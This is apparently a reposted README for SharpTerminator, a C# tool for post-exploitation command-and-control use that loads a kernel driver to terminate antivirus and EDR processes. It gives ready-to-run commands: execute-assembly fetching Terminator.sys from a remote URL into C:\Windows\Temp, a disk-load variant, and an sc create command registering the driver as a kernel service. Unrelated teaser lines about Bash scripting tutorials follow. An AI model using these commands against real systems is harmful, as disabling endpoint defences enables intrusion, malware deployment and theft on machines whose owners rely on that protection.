C# port of ZeroMemoryEx’s Terminator, so all hail goes to him.
You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation.
When using Remote URL, the driver is downloaded to “C:\Windows\Temp” and then loaded from there.
In fact, there is no difference between them; if you don’t want to use the upload function in your C2, you can use the other one.
Loading from remote url:
execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"Loading from disk:
execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"If you get “Failed to register the process in the trusted list!” error you should add service manually:
sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demandWhat Are Bash Comments? In Bash scripting, comments are notes in your code that the…
When you write a Bash script in Linux, you want it to run correctly every…
Introduction If you’re new to Bash scripting, one of the first skills you’ll need is…
What is Bash Scripting? Bash scripting allows you to save multiple Linux commands in a file and…
When it comes to automating tasks on Linux, Bash scripting is an essential skill for both beginners…
Learn how to create and use Bash functions with this complete tutorial. Includes syntax, arguments,…